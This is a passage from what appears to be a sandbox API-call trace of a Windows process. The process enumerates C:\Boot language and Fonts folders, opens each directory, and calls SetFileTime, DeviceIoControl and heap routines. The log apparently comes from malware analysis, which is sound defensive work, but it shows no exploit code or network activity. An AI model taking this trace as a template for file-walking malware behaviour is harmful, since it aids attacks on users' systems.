BaseAddress=0xed9690) returned 1 [0038.209] NtClose (Handle=0x134) returned 0x0 [0038.209] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0038.209] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0038.209] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.209] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.209] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.209] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed5970 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ee18 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ed90 [0038.209] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8998) returned 1 [0038.209] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.209] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.210] GetLastError () returned 0x12 [0038.210] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0038.210] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0038.210] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.210] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.210] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.210] GetLastError () returned 0x12 [0038.210] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0038.210] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0038.210] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0038.210] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.210] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0038.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.210] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.210] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0038.210] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0038.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0038.210] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0038.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0038.211] NtClose (Handle=0x16c) returned 0x0 [0038.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0038.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0038.211] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0038.211] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.211] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6200 [0038.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ed08 [0038.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.211] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.211] GetLastError () returned 0x12 [0038.211] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0038.211] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0038.211] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.211] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.211] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.211] GetLastError () returned 0x12 [0038.212] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0038.212] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0038.212] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0038.212] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.212] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0038.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.212] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.237] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0038.237] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0038.237] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0038.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0038.237] NtClose (Handle=0x134) returned 0x0 [0038.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0038.237] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0038.237] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.237] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6220 [0038.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ec80 [0038.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.237] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6240 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ebf8 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6260 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30eb70 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6280 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30eae8 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed62a0 [0038.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ea60 [0038.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0038.239] GetLastError () returned 0x12 [0038.239] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0038.239] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, 